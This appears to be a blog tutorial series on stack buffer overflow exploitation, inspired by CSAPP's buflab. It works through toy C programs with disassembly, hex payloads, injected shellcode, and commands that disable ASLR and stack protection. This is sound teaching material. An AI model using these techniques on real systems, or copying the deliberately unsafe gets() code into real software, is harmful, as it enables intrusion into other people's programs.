In this series of tutorials, you will be introduced to four levels of hacking challenges relating to the stack overflow problem in modern computer system. The goals are given before the real tutorial in case you’d like to do it yourself.

After completing all challenges, you will have a deeper understanding of x86 ISA, Linux system, and binary program, and your C skill, x86 assembling skill, and debugging skill will be enhanced. What’s more, you will have a more clear understanding of the security threat underlying in current computing world. Happy Hacking :)

All materials used is on my GitHub repo

StackOverflow Level 0

Goals

  • Learn some basic concepts
  • Make preparations for experiments
  • Trigger your first segment fault intentionally

Basic Concepts

To conduct hands-on experiments well, we needs to introduce some basic knowledge first. Even you are experienced in that field, it is still recommended to skim through this section :)

The mysterious ELF format

ELF (Executable and Linkable Format) is the binary program format in the Linux world. A usual program binary is composed of three parts:

  • text: The program itself
  • data: The data area contains global and static variables used by the program that are explicitly initialized with a non-zero (or non-NULL) value.
  • bss: BSS segment contains all global variables and static variables that are initialized to zero or do not have explicit initialization in source code.

Stack Frame – How is function calling implemented?

Every time we talked about this topic, we need to bring this classical illustration picture to the front:

What’s more, we need to dive into the machine-level instructions as well as the two registers rbp and rsp.

When calling a subroutine in x86, we will simply pushed the arguments on the stack and callq [address of subroutine]. The call will implicitly push the current %eip, or the “return address” on the stack. Then, the control is handed over to the subroutine, which will first:

push %rbp
mov  %rsp, %rbp

, simply push the caller’s frame base pointer on the stack so we can restore it back after subroutine. Then, we will use %rsp to extract the arguments from stack.

After the subroutine is finished, we will

leave
ret

The leave instruction is actually the synonym of

mov %rsp, %rbp
pop %rbp

And ret will set the PC to return address on the stack.

Overflow – Stack Smashing Attack

The notorious function gets will easily incur stack overflow problem. The local variable will be pushed onto stack. So, please imagine an array of char, if gets() doesn’t check the length of input, the other data in the stack will be corrupted.

Especially, if return address is damaged, we may return to some mysterious place, which triggers segmentation fault. But, what if, we feed into some meaningful string which are intricately handcrafted?

Preparations

Before hands-on operations, you needs a good experimental platform. Linux is recommended here. And it is recommended to conduct all experiment in a virtual machine.

Author is using:

  • Ubuntu 14.04.1, GNU/Linux 3.13.0-45-generic x86_64
  • GCC 4.8.2

Besides softwares configuration, You also needs to learn some basic usage of gdb, as and objdump. Such as:

  1. Using gdb to set breakpoint, disassemble, step, check memory and registers value etc.
  2. Using as to assemble hand-written x86 assembling code.
  3. Using objdump -d to disassemble a binary program

So, as a result, the author assumed that you have already know some basics of C programming, x86 assembling language, basic debugging skills, and some primitive knowledge of computer system.

segment fault, seriously

First, let’s compile the first sample program with gcc seg.c -o seg, and neglect the warning about gets because we intentionally use this buggy function.

// seg.c
#include <stdio.h>
#define BUF_SIZE 10
void readBuf(){
    char buf[BUF_SIZE];
    gets(buf);
}
int main(){
    readBuf();
    return 0;
}

here, when run it, we feed it into a string longer than 10, like aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa. And do you have a segment fault or something alike here?

Stack Overflow Level 1

After the introductory level, you can start your first real hacking now. We will introduce you how to sneakily modify a variable’s value which is in the same function with buffer. Ready?

Goals

  1. Use tools to figure out the target program’s structure
  2. Figure out a proper length of string and use hex2raw to compose a input string
  3. Modify the neighboring value

Be familiar with tools

Here is the code of example.c:

// example.c
#include <stdio.h>
#define BUF_SIZE 8

int readBuf(){
  int a = 0;
  char buf[BUF_SIZE];
  gets(buf);
  return a;
}

void test(){
  int ret = readBuf();
  if(ret == 0)
    printf("Value is normal :(\n");
  else
    printf("You modified the value into: %d\n", ret);
}

int main(){
  test();
  return 0;
}

We use gcc to compile the program example.c. In order to simplify the exploiting process, we will use the least optimization, i.e. -o0. And, to prevent the stack smashing protection by gcc, we will add a option fno-stack-protector as well.

So, gcc example.c -o0 -fno-stack-protector -o example. And we got it.

Next, we will learn about objdump. Do objdump -d example | less to see the disassembled result. Find the “important” functions: main, test and readBuf, esp. readBuf:

000000000040062d <readBuf>:
  40062d:       55                      push   %rbp
  40062e:       48 89 e5                mov    %rsp,%rbp
  400631:       48 83 ec 30             sub    $0x30,%rsp
  400635:       64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
  40063c:       00 00 
  40063e:       48 89 45 f8             mov    %rax,-0x8(%rbp)
  400642:       31 c0                   xor    %eax,%eax
  400644:       c7 45 dc 00 00 00 00    movl   $0x0,-0x24(%rbp)
  40064b:       48 8d 45 e0             lea    -0x20(%rbp),%rax
  40064f:       48 89 c7                mov    %rax,%rdi
  400652:       e8 d9 fe ff ff          callq  400530 <gets@plt>
  400657:       8b 45 dc                mov    -0x24(%rbp),%eax
  40065a:       48 8b 55 f8             mov    -0x8(%rbp),%rdx
  40065e:       64 48 33 14 25 28 00    xor    %fs:0x28,%rdx
  400665:       00 00 
  400667:       74 05                   je     40066e <readBuf+0x41>
  400669:       e8 82 fe ff ff          callq  4004f0 <__stack_chk_fail@plt>
  40066e:       c9                      leaveq 
  40066f:       c3                      retq   

So, apparently, the local variables in readBuf occupy 0x20 or 32 bytes. This is due to a int which is 4 bytes long, and 8 char which is 16 bytes longs. So, we needs at least 20 bytes. But on my 64-bit machine, it do a 16-bytes align. So, we needs align it to 32 bytes, i.e. 0x20

Compose the string

Based on the previous knowledge, the string will first have a 20-byte long paddings, then fellowing a int. And the endian problem plays here. Whatever, We just need to do some experiment to find the truth. For example, we add 00 00 00 01 and get string:

FF FF FF FF 
FF FF FF FF
FF FF FF FF
00 01 00 00

Then, we use hex2raw to convert the heximal string into a ascii string file hex_str, which could be read by gets correctly: ./hex2raw < string > hex_str

Then, we run the program: ./example < hex_str

The output is not 1, but 256, which is 0x00000100 in fact.

So, we can do a reverse, using string as:

FF FF FF FF
FF FF FF FF
FF FF FF FF
01 00 00 00

Then we will get output: 1

Do you have some conclusion?

In fact, this is a little surprise. There seems to be some space between the 16 bytes long char[] and 4 bytes long int. So, practice speaks.

Stack Overflow Level 2

In this level, we will continue from level 1. The main goal is to forge the return address, making function to jump to somewhere we intended.

Goals

  • Hunt down the structure of program
  • Compose a proper string and do testing work

Hunt

There is a funcion bomb() in example2.c, which seems not called by any function. By modifying the return address in the stack, we want to trigger the bomb. Interesting?

This requires us to inverstigate into where the return address is pushed at. Let’s first experiment with it.

//example2.c
#include <stdio.h>
#define BUF_SIZE 8

void bomb(){
  printf("BANG!!!!!\n");
}

void readBuf(){
  char buf[BUF_SIZE];
  gets(buf);
}

int main(){
  readBuf();
  printf("exit normally :(\n");
  return 0;
}

So, let’s exploit the disassembled code:

000000000040057d <bomb>:
  40057d:       55                      push   %rbp
  40057e:       48 89 e5                mov    %rsp,%rbp
  400581:       bf 54 06 40 00          mov    $0x400654,%edi
  400586:       e8 c5 fe ff ff          callq  400450 <puts@plt>
  40058b:       5d                      pop    %rbp
  40058c:       c3                      retq   

000000000040058d <readBuf>:
  40058d:       55                      push   %rbp
  40058e:       48 89 e5                mov    %rsp,%rbp
  400591:       48 83 ec 10             sub    $0x10,%rsp
  400595:       48 8d 45 f0             lea    -0x10(%rbp),%rax
  400599:       48 89 c7                mov    %rax,%rdi
  40059c:       e8 df fe ff ff          callq  400480 <gets@plt>
  4005a1:       c9                      leaveq 
  4005a2:       c3                      retq   

Here, we know two things: First, we needs to feed in a string a little longer than 0x10 bytes. And, the address of bomb is 0x0000 0000 0040 057d

Hack

Let’s do experiment first, we’ll use a 14 byte long string, which is composed entirely of FF:

FF FF FF FF
FF FF FF FF
FF FF FF FF
FF FF

the output is: exit normally :(, sadly normal.

So, let make it 20 bytes long. Still normally.

Now, 24 bytes. The output is silent.

Finally, 28 bytes. Segmentation fault (core dumped)

So, I want to make a good explanation here.

16 bytes should be reserved for data. Then the pushed %rbp, which should be 8 bytes. Then, the return address, 8 more bytes. If on 32-bit width string, we just needs 4 bytes each.

So, in order to hack into the return address. we need 16 + 8 + 8 = 32 bytes. The ending 8 bytes would be our forged return address.

FF FF FF FF
FF FF FF FF
FF FF FF FF
FF FF FF FF

FF FF FF FF
FF FF FF FF

7D 05 40 00
00 00 00 00

And BANG!!!, mind the little endian problem as well, dear reader.

StackOverflow Level 3

Level 3 and Level Final will be aimed at the holy grail of overflow attaching – Execute any code you want.

Goal

  1. Setup the experiment environment
  2. Try to execute FFs in stack, triggering the “invalid instruction” fault
  3. Use NOP for the first time, and check the solution by gdb

Environment

Different from the previous levels, this level needs us to setup the special experiment environment under Linux. The normal Linux and gcc will have some stack attacking prevention facilities on, causing great trouble for any trouble makers.

Stop memory address randomization

Execute sysctl -w kernel.randomize_va_space=0 with root privilege in your Linux shell.

Without turning it off, you can play with the following code:

// Some code
#include <stdio.h>
void test(){
  char buf[10];
  printf("The buffer address: %x\n", buf);
}
int main(){
  test();
  return 0;
}

You will find that, the output will differ greatly every time. So, in order to simplify the problem, we will stop Linux kernel to do this protection, i.e., to stabilize the stack. After turning it off, the output in the above program will stay the same.

Stop stack protection

Execute sysctl -w kernel.exec-shield=0 with root privilege.

NOTE: However, if you are using the same platform as mine, i.e. Ubuntu 14.04, you will not find this available. Just ignore it in this case.

  • -fno-stack-protector
  • -z execstack

The first one is stopping GCC to insert “guard” or “flag” in the stack. If you smashed the stack, the guard would also be smashed. So the program would know the attacking.

The second one is to make code in stack “executable”, by linker. By default, executing instruction in stack will cause segmentation fault.

Grab the information

The code to exploit is like fellowing:

\\test.c
#include <stdio.h>
#define BUF_SIZE 2000
int a = 0;
int readBuf(){
  char buf[BUF_SIZE];
  gets(buf);
  printf("The address of buffer: %x\n", buf);
  return 0;
}

void test(){
  readBuf();
  if(a != 1)
  printf("Return normally :(\n");
  else
  printf("haha, you hacked it! :)\n");
}

int main(){
  test();
  return 0;
}

We compile it like : gcc test.c -o0 -fno-stack-protector -z execstack -g -o test. The -g option will attach the symbol table to the program, which will also greatly facilitate the exploiting by gdb.

NOTE: The reason why we use such a long buffer, which is 2000 bytes, is that it is closer to the real world buffer setting. People will always suppose that 2000 bytes of buffer is large enough :)

Our goal in this level is pretty simple – To execute code from the start of our input string. In order to do this, we need to overwrite the return address in the stack as the previous tutorials. But, this time, we needs to set it to the start of buffer in the stack.

We use gdb to do some research. After loading the program binary, set breakpoint to readBuf. Then run directly, we get to the break point:

40057d:       55                      push   %rbp
40057e:       48 89 e5                mov    %rsp,%rbp
400581:       48 81 ec d0 07 00 00    sub    $0x7d0,%rsp

So, we can use %rsp after sub as the start address of the buffer. You will find that, the start 4 byte of address is not so obvious. In Ubuntu, it is 000 00 7f ff, and it might differ in other platform. So, the return address to append at the end of input would be:

90 e2 ff ff 
ff 7f 00 00

So, how long shall our attacking string be? According to the previous knowledge, it should be 2000 + 8 + 8 = 2016 bytes. Quite a long one. So, to generate such a long string easily, we use perl here:

 perl -e "print 'FF 'x2008" > string

Now, we can append the forged return address to the end of our prepared string, hex2raw it. Then, we can ./test < hex_str. If you get error illegal instruction, you are probably right by hitting the FFs. Since there is no good opcode starting with FF.

Check it out

Next, we want to try NOP for the first time, and use it to check if our solution makes sense.

First, we will substitute, let’s say, 4 bytes of FFs at the front of string with 90s. 0x90 is NOP in x86 ISA, which will be directly ignored by CPU. a If our solution makes sense, we will get the same error when we run out of NOPs and bumped into FFs, but ending at somewhere different from the start of buffer. Did you get it right? You can checkout the %eip when error happened in gdb.

0x00007fffffffe294 in ?? ()

Great.

StackOverflow Final

Goals

  1. Target global variable
  2. First Attack
  3. Figure out how to return normally
  4. Final Attack

Locate a

In our test.c used in Level 3, there is a global variable a initialized to 0. We need to change it to 1 to complete the hacking challenge.

First, we need to know a’s address. Simply disassemble the program so we know it:

400605: 8b 05 49 0a 20 00       mov    0x200a49(%rip),%eax        # 601054 <a>

Second, we need to know how to assemble the string to complete the operation a=1:

48 c7 c0 01 00 00 00      # mov    $0x1, %rax
48 89 04 25 54 10 60 00   # mov    %rax, 0x601054

Here, We set %rax to 1, then we move %rax’s value into a’s address.

NOTE: How did I get the hexadecimal? I used as to assemble the segment of x86 assembling code I handwrite, then disassemble it to check if it is legal, and grab the hexadecimal code by the way.

First Attack

We concatenate the assembled hexadecimal code to the head of the string. In order to test whether a has been changed, we need to turn on the gdb and run < hex_str. After we got illegal instruction. We will x 0x601054, and find out if it is 0x000000001, like:

Program received signal SIGILL, Illegal instruction.
0x00007fffffffe29f in ?? ()
(gdb) x 0x601054
0x601054 <a>:   0x00000001

How to return as if nothing as happened?

We want to return to test() normally after we modified a’s value. So the original if will be fooled!

Dear reader, if you got a minute, please try to work out how to code this first.

My scheme is simple. Since the first time we returned, we returned to the address in stack, which is the forged one. So the second time, we need to restore two parts: Registers and memory, and use our own leave and ret instructions to return.

First, modify the stack pointers, i.e. $rbp and $rsp exactly as what they are before the first leave is done.

Second, since the stack is also corrupted by our string, so we need to recover it, i.e. the return address and pushed $rbp’s value. We can know them easily in gdb as well.

So, the assembling code would come naturally:

48 c7 c0 01 00 00 00    mov    $0x1,%rax
48 89 04 25 54 10 60    mov    %rax,0x601054
00 
48 bc b0 e2 ff ff ff    movabs $0x7fffffffe2b0,%rsp
7f 00 00 
48 bd 80 ea ff ff ff    movabs $0x7fffffffea80,%rbp
7f 00 00 
48 c7 45 08 05 06 40    movq   $0x400605,0x8(%rbp)
00 
48 c7 45 0c 00 00 00    movq   $0x0,0xc(%rbp)
00 
c9                      leaveq 
c3                      retq 

I have put the attacking part in attack_string.txt, and the tail string which will corrupt the stack in cover_string.txt.

While you may use perl to pad the 2000 bytes long string, you can assembly them into a string with gen.py automatically as well. You can set the NOPs at the head in the python script, and python gen.py > string to generate the string.

Final Attack

Finally, we construct the string and feed it into ./test.

Oops, the fact is, on my machine, illegal instruction fault came out. But to my surprise, in GDB, it is a success!

So, I try to use gen.py to pad a bunch of NOPs before the actual attacking code, hoping it would help. But it failed. However, since we succeeded in debugger, there is no way to debug it (X_X). If you met the same problem and figure it out, please tell me!

Oh, I almost forget, turn you Linux’s protection back on after the hacking session!

Some more words

Reference

CMU’s CSAPP buflab inspired me greatly. So, you may want to checkout it yourself.

About Shellcode

Actually, if you searched for “stack smashing attack” on the web, shellcode will be a hot keyword. It is just like our final level, but its target is to spawn a shell, which gave out the privilege.